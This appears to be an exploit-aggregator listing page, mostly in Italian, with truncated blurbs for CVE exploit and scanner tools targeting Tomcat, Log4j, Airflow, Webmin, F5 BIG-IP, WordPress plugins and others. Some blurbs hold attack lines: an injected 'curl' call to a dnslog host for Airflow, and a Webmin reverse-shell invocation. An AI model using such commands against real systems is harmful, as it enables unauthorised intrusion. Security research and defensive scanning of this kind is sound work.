CVE-2025-24813

CVE-2025-24813 - Vulnerabilità di Path Equivalence in Apache Tomcat Apache Tomcat è vulnerabile a un problema di Path Equivalence / Path Traversal dovuto alla gestione impropria delle sequenze ../ nei percorsi. ID CVE: CVE-2025-24813 Gravità: Critica Link di riferimento:...

PY-Log4j-RCE-Scanner

Log4j RCE Scanner Utilizzando questo strumento, puoi scansionare più indirizzi alla ricerca della vulnerabilità di esecuzione remota dei comandi CVE-2021-44228 in Apache Log4j. Caratteristiche: Può eseguire la scansione in base alla lista di URL che fornisci. Può scansionarli tutti individuando i...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog के माध्यम से POC 2 root@kitploit:...

CVE-2021-32156

..| CSRF to RCE CRON |.. Descrizione : Sfruttare un attacco di Cross-site request forgery CSRF per ottenere una Remote Command Execution RCE tramite la funzionalità Scheduled Cron Jobs di Webmin Versione testata : Webmin 1.973 ultima versione di GitHub 07/03/2021 Tipo di attacco: Remoto Impatto :...

CVE-2022-24637

CVE-2022-24637 Exploit per l'RCE non autenticata in Open Web Analytics OWA 1.7.3. Questo lavoro si basa su https://devel0pment.de/?p=2494. AVVISO: Questo script è realizzato per verificare la sicurezza dei sistemi. Utilizza questo script solo sui tuoi sistemi o su sistemi per cui hai ricevuto...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc Un POC standalone per CVE-2019-12840. Di seguito verrà inviata una reverse shell sulla porta 443 root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ /...

Dompdf-Exploit-RCE

Dompdf-Exploit-RCE Uno script di exploit per CVE-2022-28368 progettato per rendere lo sfruttamento meno fastidioso, realizzato per una macchina HTB Realizzato per rendere l'exploit meno tedioso e fastidioso...

cve-2026-39987

cve-2026-39987 Installazione • Uso • Esempi Sto solo provando Go :D Comunque: CVE-2026-39987 PoC: esecuzione remota di codice pre-autenticazione in Marimo:PORT/terminal/ws REDACTED@REDACTED:$ uname -a Linux ... REDACTED@REDACTED:$ exit exit INF:normalclose websocket: close 1000 normal: T...

CVE-2018-19422

CVE-2018-19422 root@kitploit: Exploit Title: File Upload Bypass to RCE Authenticated Google Dork: N/A Date: 17/05/2021 Exploit Author: Drew Alleman Based on an exploit written by: Fellipe Oliveira Vendor Homepage: https://subrion.org/ Software Link: https://github.com/intelliants/subrion Version:...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; Una volta che il modulo supera questo controllo come "Add-On valido", qualsiasi script install.php viene automaticamente eseguito sul server. Questo exploit usa semplicemente una reverse shell PHP come payload PHP...

CVE-2018-16763

CVE-2018-16763 Analyzer CVE-2018-16763 Analyzer è un piccolo progetto Python per analizzare CVE-2018-16763 contro target FUEL CMS. Si concentra sul verificare se un target appare vulnerabile e sul mostrare l'output dei comandi in modo più pulito e leggibile quando la risposta dell'applicazione è...

CVE-2017-9805-Apache-Struts-Fuzz-N-Sploit

CVE-2017-9805StrutsFuzzNSploit Nur ein schreckliches Skript, das ich in Python3 geschrieben habe, um zu fuzzen und falls gewünscht über Metasploit zu exploitieren: CVE-2017-9805 RCE für CTFs oder was auch immer, gemäß der thugcrowd DWTFYW Public License, die ich von diesen coolen Katzen geklaut...

CVE-2026-49869

Kestra CVE-2026-49869 / CVE-2026-53576 Scanner Esegue la scansione delle istanze Kestra per il bypass del filtro di autenticazione endsWith"/configs". Il file AuthenticationFilter.java di Kestra controlla request.getPath.endsWith"/configs" invece di confrontare il percorso esatto /api/v1/configs...

cve-2018-12386

Exploit RCE in Sandbox di Firefox CVE-2018-12386 Ecco un semplice exploit per la vulnerabilità CVE-2018-12386 scoperta da Niklas Baumstark, Samuel Groß e Bruno Keith. Questo è principalmente un PoC che ho realizzato per divertimento, non c'è alcun bypass della sandbox e funzionerà solo su una...

wp2shell-Hestia-Scanner

🛡️ wp2shell-Hestia-Scanner 🇬🇧 English | 🇬🇷 Ελληνικά Scanner di sicurezza WordPress in sola lettura per server HestiaCP. Rileva gli indicatori di compromissione wp2shell su tutti i siti ospitati — con report email per cliente, diff dei file del core, rilevamento webshell SHA256, punteggio di rischio...

refresh

Refresh Questo container emula la funzionalità vulnerabile di CVE-2022-1388 in un router F5 che consente RCE. CVE-202201388 deriva da una relazione complicata tra diversi meccanismi di autenticazione e un proxy che rimuoveva le intestazioni, consentendo un accesso improprio agli endpoint di...

CVE-2022-1388

CVE-2022-1388 Impatto Questa vulnerabilità potrebbe consentire a un utente malintenzionato non autenticato con accesso di rete al sistema BIG-IP tramite la porta di gestione e/o gli indirizzi IP self di eseguire comandi arbitrari di sistema, creare o eliminare file o disabilitare servizi. Non vi ...

typehub-exploiter

typehub-exploiter GILANG - Exploiter per CVE-2021-25094 riferimento : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ payload : site.com/wp-admin/admin-ajax.php percorso del bug : site.com/wp-content/uploads/typehub/custom/ Ringraziamenti a : Ibnudz, Dark clown security...

CVE-2025-34085

CVE-2025-34085 — Simple File List di WordPress RCE non autenticato Un exploit automatizzato per CVE-2025-34085 duplicato di CVE-2020-36847, una vulnerabilità critica di esecuzione di codice in remoto non autenticata nel plugin WordPress Simple File List versioni ≤ 4.2.2. Nota: CVE-2025-34085 è...

CVE-2026-3296

CVE-2026-3296 CVE-2026-3296 è una vulnerabilità critica di PHP Object Injection non autenticata CVSS 9.8 nel plugin WordPress Everest Forms. CVE-2026-3296 — Scanner per PHP Object Injection in Everest Forms Plugin: Everest Forms – Modulo di contatto, modulo di pagamento, quiz, sondaggio e builder...